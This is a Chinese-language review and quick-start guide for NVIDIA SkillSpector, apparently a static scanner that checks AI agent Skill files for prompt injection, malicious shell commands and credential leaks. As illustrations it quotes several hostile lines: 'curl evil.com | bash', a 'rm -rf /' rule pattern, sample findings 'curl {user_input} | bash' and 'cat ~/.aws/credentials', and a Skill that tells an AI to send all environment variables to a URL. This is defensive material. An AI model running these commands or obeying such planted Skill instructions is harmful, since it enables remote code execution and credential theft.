NVIDIA SkillSpector
NVIDIA发布的AI Agent Skill安全扫描器,扫描42,447个Skill发现26%存在安全漏洞,检测64种漏洞模式覆盖16个安全类别,Apache 2.0开源
📄 相关文章
评分明细
打包完整度
2.1 2.1 / 2.5
实用性
2.1 2.1 / 2.5
文档清晰度
1.7 1.7 / 2
社区影响力
1.3 1.3 / 1.5
集成度
1.3 1.3 / 1.5
适用场景
开源免费安全Skill系统
NVIDIA SkillSpector 快速入门
一句话卖点:「Skill 版的杀毒软件」——NVIDIA 出品,扫描你的 Agent Skill,发现 26% 有安全漏洞,开源免费。
这是什么?适合谁?
NVIDIA SkillSpector 是 NVIDIA 发布的 AI Agent Skill 安全扫描工具。它专门检测 SKILL.md 文件中隐藏的安全风险——扫描了 42,447 个真实 Skill,发现 26% 存在安全漏洞。
检测覆盖:
- 64 种漏洞模式:从 prompt 注入到恶意 Shell 命令、文件泄露、凭证窃取等;
- 16 个安全类别:注入攻击、敏感数据泄露、权限提升、供应链风险等;
- 支持多平台:Claude Code、Cursor、Codex CLI、Windsurf 等平台的 Skill 格式。
为什么重要?Skill 本质上是「给 AI 的指令文件」,如果其中包含恶意指令(比如隐藏的curl evil.com | bash),加载后 AI 可能会执行危险操作。SkillSpector 在加载前帮你扫一遍。
适合谁?所有使用第三方 Skill 的开发者——尤其是从 GitHub 下载不明来源 Skill 的用户。企业安全团队——批量扫描组织内使用的所有 Skill。
不适合只使用 Anthropic 官方 Skill 的用户(官方 Skill 已经过审查)。
准备工作
- Python 3.9+;
- 要扫描的 Skill 文件或目录;
- (可选)GPU 环境——SkillSpector 的 LLM 分析模块在 GPU 上更快,但 CPU 也能跑。
3 步快速上手
第 1 步:安装
# Clone 仓库<br>
git clone https://github.com/NVIDIA/skillspector.git<br>
cd skillspector<br>
# 安装<br>
pip install -e .<br>
# 或直接用 pip<br>
pip install skillspector<br>
```<br>
### 第 2 步:配置<br>
SkillSpector 开箱即用,无需额外配置。可选自定义规则:<br>
```bash<br>
# 查看默认规则<br>
skillspector rules list<br>
# 添加自定义规则<br>
skillspector rules add --pattern "rm -rf /" --severity critical --category destructive<br>
```<br>
如需 LLM 辅助分析(检测模糊风险),配置 API Key:<br>
```bash<br>
export ANTHROPIC_API_KEY="your-key"<br>
# 或<br>
export OPENAI_API_KEY="your-key"<br>
```<br>
### 第 3 步:首次使用<br>
扫描单个 Skill 文件:<br>
```bash<br>
skillspector scan ./my-skill.md<br>
```<br>
输出类似:<br>
```<br>
[CRITICAL] Line 23: Command injection risk — `curl {user_input} | bash`<br>
[HIGH] Line 45: Sensitive path exposure — `cat ~/.aws/credentials`<br>
[MEDIUM] Line 12: Prompt injection vector — unescaped `{{ }}` in system prompt<br>
Summary: 3 issues (1 critical, 1 high, 1 medium)<br>
Safety Score: 72/100<br>
```<br>
扫描整个目录:<br>
```bash<br>
skillspector scan ./skills-dir/ --recursive --output report.json<br>
```<br>
## 常见踩坑<br>
1. **误报**:部分规则可能将正常操作标记为风险(比如合法的 `curl` 调用)。用 `--severity-threshold high` 只看高危和严重。<br>
2. **中文 Skill 检测效果打折**:64 种漏洞模式主要在英文 Skill 上验证,中文 Skill 的检测准确率可能降低。<br>
3. **依赖 API 的分析慢**:如果启用 LLM 辅助分析,每个 Skill 会额外调用 API,扫描大量 Skill 可能耗时且费钱。<br>
4. **检测不到运行时风险**:SkillSpector 是静态分析——只能检测 Skill 文本中的风险模式,无法检测 Skill 在实际运行中的动态行为。<br>
5. **规则更新滞后**:新出现的攻击模式可能不在 64 种漏洞模式中。定期 `skillspector rules update` 更新规则库。<br>
## 初级用法<br>
- **单文件扫描**:`skillspector scan file.md`;<br>
- **目录批量扫描**:`skillspector scan ./skills/ --recursive`;<br>
- **JSON 报告**:`skillspector scan ./skills/ --output report.json`;<br>
- **只看严重问题**:`skillspector scan ./skills/ --severity critical`。<br>
## 高级玩法<br>
- **CI 门禁集成**:在 CI 中添加 `skillspector scan --fail-on critical`,有严重漏洞直接阻断。<br>
- **自定义漏洞模式**:编写团队专属的 YAML 规则文件,检测特定的敏感操作模式。<br>
- **批量 Skill 审计**:结合 SkillsMP API 拉取大量 Skill → 用 SkillSpector 批量扫描 → 生成安全报告。<br>
- **和 OpenClaw 联动**:SkillSpector 扫描 + OpenClaw 集成安全扫描,双重保险。<br>
## 小技巧<br>
1. **先扫再装**:从 GitHub 下载任何 Skill 后,`skillspector scan` 扫一遍再加载;<br>
2. **定期重扫**:即使之前扫过没问题的 Skill,更新版本后重新扫;<br>
3. **关注 26% 漏洞率**:这是 NVIDIA 大规模扫描得出的数据,意味着你从网上随便下 4 个 Skill,就可能有 1 个有问题;<br>
4. **结合手动审查**:SkillSpector 检测模式化的风险,逻辑层面的恶意行为需要人工看。<br>
## 常见问题 FAQ<br>
**Q1: SkillSpector 和传统 SAST(静态应用安全测试)有什么区别?**<br>
A: 传统 SAST 扫描代码(Python/JS/Go 等),SkillSpector 扫描的是 **Skill 描述文件**(Markdown/YAML)。它检测的不是代码漏洞,而是指令层面的风险——比如 Skill 告诉 AI「读取所有环境变量并发到某 URL」这种恶意指令。<br>
**Q2: 26% 漏洞率是什么意思?**<br>
A: NVIDIA 扫描了 GitHub 上 42,447 个公开 Skill,发现其中 26% 至少包含一个安全风险(prompt 注入、命令注入、敏感路径暴露等)。这是 2026 年的数据。<br>
**Q3: 扫描结果中的 severity 如何定义?**<br>
A: Critical(严重)→ 可直接导致任意命令执行或数据泄露。High(高危)→ 存在敏感路径暴露或潜在注入点。Medium(中危)→ 不规范的写法,在特定条件下可能被利用。Low(低危)→ 最佳实践建议。<br>
**Q4: 开源免费吗?能商用吗?**<br>
A: Apache-2.0 许可证,完全开源免费,可商用。<br>
**Q5: 需要 GPU 吗?**<br>
A: 基础规则扫描不需要 GPU。LLM 辅助分析模块可选 GPU 加速,但 CPU 也能跑(较慢)。<br>
## 参考链接<br>
- NVIDIA SkillSpector 仓库:<https://github.com/NVIDIA/skillspector><br>
- NVIDIA Research 主页:<https://research.nvidia.com><br>
- OpenClaw(相关安全工具):<https://github.com/anthropics/openclaw><br>
- Agent Skills 安全生态趋势(相关分析):<https://magicnetworld.com/skills/agent-skills-security-ecosystem>
NVIDIA SkillSpector
NVIDIA发布的AI Agent Skill安全扫描器,扫描42,447个Skill发现26%存在安全漏洞,检测64种漏洞模式覆盖16个安全类别,Apache 2.0开源
来源: NVIDIA 评分: 8.5/10
📊 评分与标签
评分说明
总分 8.5/10 · P_优选
📊 可观测社区指标(数据核验日期:2026-07-23)
- GitHub: NVIDIA/skillspector;Apache-2.0,核验日 API 显示 13,539 stars、1,123 forks。
📦 可安装性 2.1/2.5
- 官方 README 提供安装和扫描入口;相比纯规则清单可直接运行,但仍需 Python 环境并理解扫描结果的处置边界。
- 来源:官方 README
🎯 实用性 2.2/2.5
- 面向 Agent Skill 的恶意模式、漏洞与风险扫描,补足安装前审查;相比通用 SAST 更理解 SKILL.md,相比人工审计可批量执行。
- 来源:官方仓库
📖 文档质量 1.7/2.0
- README 描述扫描能力、用法与风险类别;局限是规则命中不等于可利用漏洞,仍需结合上下文人工复核。
- 来源:官方 README
👥 社区活跃 1.2/1.5
- NVIDIA 官方组织维护,核验日前一日仍有仓库更新,公开关注度较高;长期误报治理和规则版本兼容仍待观察。
- 来源:GitHub API
🔗 兼容性 1.3/1.5
- 输入聚焦可移植 Agent Skills,而非单一 IDE;相比 Claude Code 专用检查器覆盖更广,但非 Skill 目录需要额外适配。
- 来源:官方 README
评分依据可追溯至公开来源,每项分数均有明确理由和数据支撑。
局限:官方研究中的大规模扫描比例未在本地完整复现,本评分不把该比例当作独立事实结论。
🏷️ 标签说明
- 开源免费: 仓库采用 Apache-2.0 许可证。来源:LICENSE
- 安全: 核心用途是发现技能中的恶意模式和安全风险。来源:官方 README
- Skill系统: 扫描对象是 Agent Skill 目录与说明文件。来源:官方仓库
📋 来源与核验记录
- ✅ 已验证官方 README、LICENSE 与 GitHub API。
- ⚠️ 未验证:大规模数据集扫描结果未在本地复跑。
- ❌ 已删除死链:无。